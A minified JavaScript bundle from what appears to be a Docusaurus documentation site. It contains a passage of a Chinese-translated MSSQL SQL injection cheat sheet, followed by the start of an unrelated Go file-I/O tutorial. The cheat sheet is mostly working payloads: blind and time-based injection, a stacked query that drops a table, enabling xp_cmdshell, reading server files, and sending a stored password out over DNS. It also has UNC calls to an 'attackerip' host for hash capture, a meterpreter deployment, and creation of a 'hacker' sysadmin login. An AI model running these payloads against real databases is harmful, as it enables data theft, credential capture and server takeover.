(SELECT id FROM sysobjects WHERE name = \u2018mytable\u2019); \u2014 for the current DB only\nSELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=\u2019sometable\u2019; \u2014 list colum names and types for master..sometable\n\nSELECT table_catalog, column_name FROM information_schema.columns\n"})}),"\n",(0,r.jsx)(s.h2,{id:"mssql-\u5217\u8868\u8868",children:"MSSQL \u5217\u8868\u8868"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"SELECT name FROM master..sysobjects WHERE xtype = \u2018U\u2019; \u2014 use xtype = \u2018V\u2019 for views\nSELECT name FROM someotherdb..sysobjects WHERE xtype = \u2018U\u2019;\nSELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=\u2019sometable\u2019; \u2014 list colum names and types for master..sometable\n\nSELECT table_catalog, table_name FROM information_schema.columns\nSELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U'; -- Change delimeter value such as ', ' to anything else you want => trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options (Only works in MSSQL 2017+)\n"})}),"\n",(0,r.jsx)(s.h2,{id:"\u57fa\u4e8e-mssql-\u8054\u5408",children:"\u57fa\u4e8e MSSQL \u8054\u5408"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"-- extract databases names\n$ SELECT name FROM master..sysdatabases\n[*] Injection\n[*] msdb\n[*] tempdb\n\n-- extract tables from Injection database\n$ SELECT name FROM Injection..sysobjects WHERE xtype = 'U'\n[*] Profiles\n[*] Roles\n[*] Users\n\n-- extract columns for the table Users\n$ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Users')\n[*] UserId\n[*] UserName\n\n-- Finally extract the data\n$ SELECT UserId, UserName from Users\n"})}),"\n",(0,r.jsx)(s.h2,{id:"mssql-\u57fa\u4e8e\u9519\u8bef",children:"MSSQL \u57fa\u4e8e\u9519\u8bef"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"For integer inputs : convert(int,@@version)\nFor integer inputs : cast((SELECT @@version) as int)\n\nFor string inputs : ' + convert(int,@@version) + '\nFor string inputs : ' + cast((SELECT @@version) as int) + '\n"})}),"\n",(0,r.jsx)(s.h2,{id:"mssql-\u57fa\u4e8e\u76f2\u7684",children:"MSSQL \u57fa\u4e8e\u76f2\u7684"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- -\n\nAND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97\nAND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64-- \nAND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A'\n\nAND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90\n\nSELECT @@version WHERE @@version LIKE '%12.0.2000.8%'\n\nWITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)\nSELECT message FROM data WHERE row = 1 and message like 't%'\n"})}),"\n",(0,r.jsx)(s.h2,{id:"mssql-\u57fa\u4e8e\u65f6\u95f4",children:"MSSQL \u57fa\u4e8e\u65f6\u95f4"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"ProductID=1;waitfor delay '0:0:10'--\nProductID=1);waitfor delay '0:0:10'--\nProductID=1';waitfor delay '0:0:10'--\nProductID=1');waitfor delay '0:0:10'--\nProductID=1));waitfor delay '0:0:10'--\n\nIF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'\nIF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';\n"})}),"\n",(0,r.jsx)(s.h2,{id:"mssql-\u5806\u53e0\u67e5\u8be2",children:"MSSQL \u5806\u53e0\u67e5\u8be2"}),"\n",(0,r.jsxs)(s.ul,{children:["\n",(0,r.jsxs)(s.li,{children:["\n",(0,r.jsx)(s.p,{children:"\u6ca1\u6709\u4efb\u4f55\u8bed\u53e5\u7ec8\u6b62\u7b26"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"-- multiple SELECT statements\nSELECT 'A'SELECT 'B'SELECT 'C'\n\n-- updating password with a stacked query\nSELECT id, username, password FROM users WHERE username = 'admin'exec('update[users]set[password]=''a''')--\n\n-- using the stacked query to enable xp_cmdshell\n-- you won't have the output of the query, redirect it to a file \nSELECT id, username, password FROM users WHERE username = 'admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--\n"})}),"\n"]}),"\n",(0,r.jsxs)(s.li,{children:["\n",(0,r.jsx)(s.p,{children:"\u4f7f\u7528\u5206\u53f7\u201c\uff1b\u201d\u6dfb\u52a0\u53e6\u4e00\u4e2a\u67e5\u8be2"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"ProductID=1; DROP members--\n"})}),"\n"]}),"\n"]}),"\n",(0,r.jsx)(s.h2,{id:"mssql-\u8bfb\u53d6\u6587\u4ef6",children:"MSSQL \u8bfb\u53d6\u6587\u4ef6"}),"\n",(0,r.jsxs)(s.p,{children:[(0,r.jsx)(s.strong,{children:"\u6743\u9650"}),"\uff1a\u9009\u9879\u9700\u8981\u6216 ",(0,r.jsx)(s.code,{children:"ADMINISTER DATABASE BULK OPERATIONS"})," \u6743\u9650\u3002"]}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"-1 union select null,(select x from OpenRowset(BULK 'C:\\Windows\\win.ini',SINGLE_CLOB) R(x)),null,null\n"})}),"\n",(0,r.jsx)(s.h2,{id:"mssql-\u547d\u4ee4\u6267\u884c",children:"MSSQL \u547d\u4ee4\u6267\u884c"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"EXEC xp_cmdshell \"net user\";\nEXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';\nEXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';\n"})}),"\n",(0,r.jsx)(s.p,{children:"\u5982\u679c\u9700\u8981\u91cd\u65b0\u6fc0\u6d3b xp_cmdshell\uff08\u5728 SQL Server 2005 \u4e2d\u9ed8\u8ba4\u4e3a\u7981\u7528\uff09"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"EXEC sp_configure 'show advanced options',1;\nRECONFIGURE;\nEXEC sp_configure 'xp_cmdshell',1;\nRECONFIGURE;\n"})}),"\n",(0,r.jsx)(s.p,{children:"\u4e0e MSSQL \u5b9e\u4f8b\u4ea4\u4e92\u3002"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-powershell",children:"sqsh -S 192.168.1.X -U sa -P superPassword\npython mssqlclient.py WORKGROUP/Administrator:password@192.168.1X -port 46758\n"})}),"\n",(0,r.jsx)(s.p,{children:"\u6267\u884c Python \u811a\u672c"}),"\n",(0,r.jsxs)(s.blockquote,{children:["\n",(0,r.jsx)(s.p,{children:"\u7531\u4e0d\u540c\u4e8e\u4f7f\u7528 xp_cmdshell \u6267\u884c\u547d\u4ee4\u7684\u7528\u6237\u6267\u884c"}),"\n"]}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-powershell",children:"#Print the user being used (and execute commands)\nEXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__(\"getpass\").getuser())'\nEXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__(\"os\").system(\"whoami\"))'\n#Open and read a file\nEXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open(\"C:\\\\inetpub\\\\wwwroot\\\\web.config\", \"r\").read())'\n#Multiline\nEXECUTE sp_execute_external_script @language = N'Python', @script = N'\nimport sys\nprint(sys.version)\n'\nGO\n"})}),"\n",(0,r.jsx)(s.h2,{id:"mssql-\u5e26\u5916",children:"MSSQL \u5e26\u5916"}),"\n",(0,r.jsx)(s.h3,{id:"mssql-dns-\u5916\u8fc7\u6ee4",children:"MSSQL DNS \u5916\u8fc7\u6ee4"}),"\n",(0,r.jsx)(s.p,{children:(0,r.jsx)(s.a,{href:"https://twitter.com/ptswarm/status/1313476695295512578/photo/1%E4%B8%AD%E7%9A%84%E6%8A%80%E6%9C%AF",children:"https://twitter.com/ptswarm/status/1313476695295512578/photo/1\u4e2d\u7684\u6280\u672f"})}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-powershell",children:"# Permissions: Requires VIEW SERVER STATE permission on the server.\n1 and exists(select * from fn_xe_file_target_read_file('C:\\*.xel','\\\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\\1.xem',null,null))\n\n# Permissions: Requires the CONTROL SERVER permission.\n1 (select 1 where exists(select * from fn_get_audit_file('\\\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\\',default,default)))\n1 and exists(select * from fn_trace_gettable('\\\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\\1.trc',default))\n"})}),"\n",(0,r.jsx)(s.h3,{id:"mssql-unc-\u8def\u5f84",children:"MSSQL UNC \u8def\u5f84"}),"\n",(0,r.jsxs)(s.p,{children:["MSSQL \u652f\u6301\u5806\u53e0\u67e5\u8be2\uff0c\u56e0\u6b64\u6211\u4eec\u53ef\u4ee5\u521b\u5efa\u4e00\u4e2a\u6307\u5411 IP \u5730\u5740\u7684\u53d8\u91cf\uff0c\u7136\u540e\u4f7f\u7528 ",(0,r.jsx)(s.code,{children:"xp_dirtree"})," \u51fd\u6570\u5217\u51fa SMB \u5171\u4eab\u4e2d\u7684\u6587\u4ef6\u5e76\u83b7\u53d6 NTLMv2 \u54c8\u5e0c\u3002"]}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"1'; use master; exec xp_dirtree '\\\\10.10.15.XX\\SHARE';-- \n"})}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"xp_dirtree '\\\\attackerip\\file'\nxp_fileexist '\\\\attackerip\\file'\nBACKUP LOG [TESTING] TO DISK = '\\\\attackerip\\file'\nBACKUP DATABASE [TESTING] TO DISK = '\\\\attackeri\\file'\nRESTORE LOG [TESTING] FROM DISK = '\\\\attackerip\\file'\nRESTORE DATABASE [TESTING] FROM DISK = '\\\\attackerip\\file'\nRESTORE HEADERONLY FROM DISK = '\\\\attackerip\\file'\nRESTORE FILELISTONLY FROM DISK = '\\\\attackerip\\file'\nRESTORE LABELONLY FROM DISK = '\\\\attackerip\\file'\nRESTORE REWINDONLY FROM DISK = '\\\\attackerip\\file'\nRESTORE VERIFYONLY FROM DISK = '\\\\attackerip\\file'\n"})}),"\n",(0,r.jsx)(s.h2,{id:"mssql-\u4f7f\u7528\u6237\u6210\u4e3a-dba\u6570\u636e\u5e93\u7ba1\u7406\u5458",children:"MSSQL \u4f7f\u7528\u6237\u6210\u4e3a DBA\uff08\u6570\u636e\u5e93\u7ba1\u7406\u5458\uff09"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin;\n"})}),"\n",(0,r.jsx)(s.h2,{id:"mssql-\u53d7\u4fe1\u4efb\u7684\u94fe\u63a5",children:"MSSQL \u53d7\u4fe1\u4efb\u7684\u94fe\u63a5"}),"\n",(0,r.jsxs)(s.blockquote,{children:["\n",(0,r.jsx)(s.p,{children:"\u6570\u636e\u5e93\u4e4b\u95f4\u7684\u94fe\u63a5\u751a\u81f3\u53ef\u4ee5\u8de8\u6797\u4fe1\u4efb\u8fdb\u884c\u5de5\u4f5c\u3002"}),"\n"]}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-powershell",children:"msf> use exploit/windows/mssql/mssql_linkcrawler\n[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter sessio\n"})}),"\n",(0,r.jsx)(s.p,{children:"\u4eba\u5de5\u5f00\u91c7"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"-- find link\nselect * from master..sysservers\n\n-- execute query through the link\nselect * from openquery(\"dcorp-sql1\", 'select * from master..sysservers')\nselect version from openquery(\"linkedserver\", 'select @@version as version');\n\n-- chain multiple openquery\nselect version from openquery(\"link1\",'select version from openquery(\"link2\",\"select @@version as version\")')\n\n-- execute shell commands\nEXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer\nselect 1 from openquery(\"linkedserver\",'select 1;exec master..xp_cmdshell \"dir c:\"')\n\n-- create user and give admin privileges\nEXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT \"DOMINIO\\SERVER1\"') AT \"DOMINIO\\SERVER2\"\nEXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT \"DOMINIO\\SERVER1\"') AT \"DOMINIO\\SERVER2\"\n"})}),"\n",(0,r.jsx)(s.h2,{id:"\u5217\u51fa\u6743\u9650",children:"\u5217\u51fa\u6743\u9650"}),"\n",(0,r.jsx)(s.p,{children:"\u5217\u51fa\u5f53\u524d\u7528\u6237\u5728\u670d\u52a1\u5668\u4e0a\u7684\u6709\u6548\u6743\u9650\u3002"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"SELECT * FROM fn_my_permissions(NULL, 'SERVER'); \n"})}),"\n",(0,r.jsx)(s.p,{children:"\u5217\u51fa\u5f53\u524d\u7528\u6237\u5bf9\u6570\u636e\u5e93\u7684\u6709\u6548\u6743\u9650\u3002"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"SELECT * FROM fn_my_permissions (NULL, 'DATABASE');\n"})}),"\n",(0,r.jsx)(s.p,{children:"\u5217\u51fa\u5f53\u524d\u7528\u6237\u5bf9\u89c6\u56fe\u7684\u6709\u6548\u6743\u9650\u3002"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{children:"SELECT * FROM fn_my_permissions('Sales.vIndividualCustomer', 'OBJECT') ORDER BY subentity_name, permission_name; \n"})}),"\n",(0,r.jsx)(s.p,{children:"\u68c0\u67e5\u5f53\u524d\u7528\u6237\u662f\u5426\u662f\u6307\u5b9a\u670d\u52a1\u5668\u89d2\u8272\u7684\u6210\u5458\u3002"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"-- possible roles: sysadmin, serveradmin, dbcreator, setupadmin, bulkadmin, securityadmin, diskadmin, public, processadmin\nSELECT is_srvrolemember('sysadmin');\n"})}),"\n",(0,r.jsx)(s.h2,{id:"mssql-\u64cd\u4f5c\u7cfb\u7edf",children:"MSSQL \u64cd\u4f5c\u7cfb\u7edf"}),"\n",(0,r.jsxs)(s.p,{children:["\u5728\u67e5\u8be2\u4e2d\u4f7f\u7528 ",(0,r.jsx)(s.code,{children:"SP_PASSWORD"})," \u53ef\u4ee5\u9690\u85cf\u65e5\u5fd7\uff0c\u5982\uff1a"]}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"-- 'sp_password' was found in the text of this event.\n-- The text has been replaced with this comment for security reasons.\n"})}),"\n",(0,r.jsx)(s.h2,{id:"\u53c2\u8003\u6587\u732e",children:"\u53c2\u8003\u6587\u732e"}),"\n",(0,r.jsxs)(s.ul,{children:["\n",(0,r.jsx)(s.li,{children:(0,r.jsx)(s.a,{href:"http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet",children:"Pentest Monkey-mssql sql \u6ce8\u5165\u5907\u5fd8\u5355"})}),"\n",(0,r.jsxs)(s.li,{children:["[\u57fa\u4e8e\u9519\u8bef-SQL \u6ce8\u5165](",(0,r.jsx)(s.a,{href:"https://github.com/incredibleindishell/exploit-code-by-me/blob/master/MSSQL%20Error-Based%20SQL%20Injection%20Order%20by%20clause/Error%20based%20SQL%20Injection%20in%20%E2%80%9COrder%20By%E2%80%9D%20clause%20(MSSQL).pdf%EF%BC%89",children:"https://github.com/incredibleindishell/exploit-code-by-me/blob/master/MSSQL%20Error-Based%20SQL%20Injection%20Order%20by%20clause/Error%20based%20SQL%20Injection%20in%20\u201cOrder%20By\u201d%20clause%20(MSSQL).pdf\uff09"})]}),"\n",(0,r.jsx)(s.li,{children:(0,r.jsx)(s.a,{href:"https://book.hacktricks.xyz/windows/active-directory-methodology/mssql-trusted-links",children:"MSSQL \u53ef\u4fe1\u94fe\u63a5-HackTricks.xyz"})}),"\n",(0,r.jsx)(s.li,{children:(0,r.jsx)(s.a,{href:"https://blog.netspi.com/how-to-hack-database-links-in-sql-server/",children:"SQL Server-\u94fe\u63a5\u2026\u94fe\u63a5\u2026\u94fe\u63a5\u548c\u5916\u58f3\uff1a\u5982\u4f55\u7834\u89e3 SQL Server \u4e2d\u7684\u6570\u636e\u5e93\u94fe\u63a5\uff01-Antti Rantasaari-2013 \u5e74 6 \u6708 6 \u65e5"})}),"\n",(0,r.jsx)(s.li,{children:(0,r.jsx)(s.a,{href:"https://github.com/NetSPI/DAFT",children:"DAFT\uff1a\u6570\u636e\u5e93\u5ba1\u8ba1\u6846\u67b6\u548c\u5de5\u5177\u5305-NetSPI"})}),"\n",(0,r.jsx)(s.li,{children:(0,r.jsx)(s.a,{href:"https://gist.github.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e",children:"SQL Server UNC \u8def\u5f84\u6ce8\u5165 Cheatsheet-nullbind"})}),"\n",(0,r.jsx)(s.li,{children:(0,r.jsx)(s.a,{href:"https://www.exploit-db.com/papers/12975",children:"\u5b8c\u6574 MSSQL \u6ce8\u5165 PWNage-ZeQ3uL&&JabAv0C-2009 \u5e74 1 \u6708 28 \u65e5"})}),"\n",(0,r.jsx)(s.li,{children:(0,r.jsx)(s.a,{href:"https://docs.microsoft.com/en-us/sql/relational-databases/system-functions/sys-fn-my-permissions-transact-sql?view=sql-server-ver15",children:"Microsoft-sys.fn_my_permissions\uff08Transact-SQL\uff09"})}),"\n",(0,r.jsx)(s.li,{children:(0,r.jsx)(s.a,{href:"https://docs.microsoft.com/en-us/sql/t-sql/functions/is-srvrolemember-transact-sql?view=sql-server-ver15",children:"Microsoft-IS_SRVROLEMEMBER\uff08Transact-SQL\uff09"})}),"\n",(0,r.jsx)(s.li,{children:(0,r.jsx)(s.a,{href:"https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/",children:"\u7531\u4e8e\u9009\u62e9\u4e86 Unorthodox MSSQL \u8bbe\u8ba1\uff0cAWS WAF \u5ba2\u6237\u7aef\u6613\u53d7 SQL \u6ce8\u5165\u653b\u51fb-Marc Olivier Bergeron-2023 \u5e74 6 \u6708 21 \u65e5"})}),"\n"]})]})}function h(e={}){const{wrapper:s}={...(0,i.R)(),...e.components};return s?(0,r.jsx)(s,{...e,children:(0,r.jsx)(o,{...e})}):o(e)}}}]); \ No newline at end of file diff --git a/assets/js/7033af27.17528471.js b/assets/js/7033af27.17528471.js new file mode 100644 index 0000000..7661c44 --- /dev/null +++ b/assets/js/7033af27.17528471.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[2576],{28453:(e,n,t)=>{t.d(n,{R:()=>s,x:()=>d});var r=t(96540);const i={},l=r.createContext(i);function s(e){const n=r.useContext(l);return r.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function d(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(i):e.components||i:s(e.components),r.createElement(l.Provider,{value:n},e.children)}},69709:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>o,contentTitle:()=>d,default:()=>f,frontMatter:()=>s,metadata:()=>r,toc:()=>c});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6587\u4ef6io","title":"Go\u8bed\u8a00\u6587\u4ef6\u64cd\u4f5c","description":"\u6253\u5f00\u548c\u5173\u95ed\u6587\u4ef6","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/11.GoLang-\u6587\u4ef6io.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6587\u4ef6io","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6587\u4ef6io","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/11.GoLang-\u6587\u4ef6io.md","tags":[],"version":"current","sidebarPosition":11,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u51fd\u6570","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u51fd\u6570"},"next":{"title":"Golang-\u64cd\u4f5cMySQL","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/Golang-\u64cd\u4f5cMySQL"}}');var i=t(74848),l=t(28453);const s={},d="Go\u8bed\u8a00\u6587\u4ef6\u64cd\u4f5c",o={},c=[{value:"\u6253\u5f00\u548c\u5173\u95ed\u6587\u4ef6",id:"\u6253\u5f00\u548c\u5173\u95ed\u6587\u4ef6",level:2},{value:"\u8bfb\u53d6\u6587\u4ef6",id:"\u8bfb\u53d6\u6587\u4ef6",level:2},{value:"file.Read()",id:"fileread",level:3},{value:"\u57fa\u672c\u4f7f\u7528",id:"\u57fa\u672c\u4f7f\u7528",level:4},{value:"\u5faa\u73af\u8bfb\u53d6",id:"\u5faa\u73af\u8bfb\u53d6",level:4},{value:"bufio\u8bfb\u53d6\u6587\u4ef6",id:"bufio\u8bfb\u53d6\u6587\u4ef6",level:3},{value:"ioutil\u8bfb\u53d6\u6574\u4e2a\u6587\u4ef6",id:"ioutil\u8bfb\u53d6\u6574\u4e2a\u6587\u4ef6",level:3},{value:"\u6587\u4ef6\u5199\u5165\u64cd\u4f5c",id:"\u6587\u4ef6\u5199\u5165\u64cd\u4f5c",level:2},{value:"Write\u548cWriteString",id:"write\u548cwritestring",level:3},{value:"bufio.NewWriter",id:"bufionewwriter",level:3},{value:"ioutil.WriteFile",id:"ioutilwritefile",level:3}];function a(e){const n={code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...e.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(n.header,{children:(0,i.jsx)(n.h1,{id:"go\u8bed\u8a00\u6587\u4ef6\u64cd\u4f5c",children:"Go\u8bed\u8a00\u6587\u4ef6\u64cd\u4f5c"})}),"\n",(0,i.jsx)(n.h2,{id:"\u6253\u5f00\u548c\u5173\u95ed\u6587\u4ef6",children:"\u6253\u5f00\u548c\u5173\u95ed\u6587\u4ef6"}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.code,{children:"os.Open()"}),"\u51fd\u6570\u80fd\u591f\u6253\u5f00\u4e00\u4e2a\u6587\u4ef6\uff0c\u8fd4\u56de\u4e00\u4e2a",(0,i.jsx)(n.code,{children:"*File"}),"\u548c\u4e00\u4e2a",(0,i.jsx)(n.code,{children:"err"}),"\u3002\u5bf9\u5f97\u5230\u7684\u6587\u4ef6\u5b9e\u4f8b\u8c03\u7528",(0,i.jsx)(n.code,{children:"close()"}),"\u65b9\u6cd5\u80fd\u591f\u5173\u95ed\u6587\u4ef6\u3002"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\t"os"\n)\n\nfunc main() {\n\t// \u53ea\u8bfb\u65b9\u5f0f\u6253\u5f00\u5f53\u524d\u76ee\u5f55\u4e0b\u7684main.go\u6587\u4ef6\n\tfile, err := os.Open("./main.go")\n\tif err != nil {\n\t\tfmt.Println("open file failed!, err:", err)\n\t\treturn\n\t}\n\t// \u5173\u95ed\u6587\u4ef6\n\tfile.Close()\n}\n'})}),"\n",(0,i.jsx)(n.p,{children:"\u4e3a\u4e86\u9632\u6b62\u6587\u4ef6\u5fd8\u8bb0\u5173\u95ed\uff0c\u6211\u4eec\u901a\u5e38\u4f7f\u7528defer\u6ce8\u518c\u6587\u4ef6\u5173\u95ed\u8bed\u53e5\u3002"}),"\n",(0,i.jsx)(n.h2,{id:"\u8bfb\u53d6\u6587\u4ef6",children:"\u8bfb\u53d6\u6587\u4ef6"}),"\n",(0,i.jsx)(n.h3,{id:"fileread",children:"file.Read()"}),"\n",(0,i.jsx)(n.h4,{id:"\u57fa\u672c\u4f7f\u7528",children:"\u57fa\u672c\u4f7f\u7528"}),"\n",(0,i.jsx)(n.p,{children:"Read\u65b9\u6cd5\u5b9a\u4e49\u5982\u4e0b\uff1a"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:"func (f *File) Read(b []byte) (n int, err error)\n"})}),"\n",(0,i.jsxs)(n.p,{children:["\u5b83\u63a5\u6536\u4e00\u4e2a\u5b57\u8282\u5207\u7247\uff0c\u8fd4\u56de\u8bfb\u53d6\u7684\u5b57\u8282\u6570\u548c\u53ef\u80fd\u7684\u5177\u4f53\u9519\u8bef\uff0c\u8bfb\u5230\u6587\u4ef6\u672b\u5c3e\u65f6\u4f1a\u8fd4\u56de",(0,i.jsx)(n.code,{children:"0"}),"\u548c",(0,i.jsx)(n.code,{children:"io.EOF"}),"\u3002 \u4e3e\u4e2a\u4f8b\u5b50\uff1a"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'func main() {\n\t// \u53ea\u8bfb\u65b9\u5f0f\u6253\u5f00\u5f53\u524d\u76ee\u5f55\u4e0b\u7684main.go\u6587\u4ef6\n\tfile, err := os.Open("./main.go")\n\tif err != nil {\n\t\tfmt.Println("open file failed!, err:", err)\n\t\treturn\n\t}\n\tdefer file.Close()\n\t// \u4f7f\u7528Read\u65b9\u6cd5\u8bfb\u53d6\u6570\u636e\n\tvar tmp = make([]byte, 128)\n\tn, err := file.Read(tmp)\n\tif err == io.EOF {\n\t\tfmt.Println("\u6587\u4ef6\u8bfb\u5b8c\u4e86")\n\t\treturn\n\t}\n\tif err != nil {\n\t\tfmt.Println("read file failed, err:", err)\n\t\treturn\n\t}\n\tfmt.Printf("\u8bfb\u53d6\u4e86%d\u5b57\u8282\u6570\u636e\\n", n)\n\tfmt.Println(string(tmp[:n]))\n}\n'})}),"\n",(0,i.jsx)(n.h4,{id:"\u5faa\u73af\u8bfb\u53d6",children:"\u5faa\u73af\u8bfb\u53d6"}),"\n",(0,i.jsx)(n.p,{children:"\u4f7f\u7528for\u5faa\u73af\u8bfb\u53d6\u6587\u4ef6\u4e2d\u7684\u6240\u6709\u6570\u636e\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'func main() {\n\t// \u53ea\u8bfb\u65b9\u5f0f\u6253\u5f00\u5f53\u524d\u76ee\u5f55\u4e0b\u7684main.go\u6587\u4ef6\n\tfile, err := os.Open("./main.go")\n\tif err != nil {\n\t\tfmt.Println("open file failed!, err:", err)\n\t\treturn\n\t}\n\tdefer file.Close()\n\t// \u5faa\u73af\u8bfb\u53d6\u6587\u4ef6\n\tvar content []byte\n\tvar tmp = make([]byte, 128)\n\tfor {\n\t\tn, err := file.Read(tmp)\n\t\tif err == io.EOF {\n\t\t\tfmt.Println("\u6587\u4ef6\u8bfb\u5b8c\u4e86")\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\tfmt.Println("read file failed, err:", err)\n\t\t\treturn\n\t\t}\n\t\tcontent = append(content, 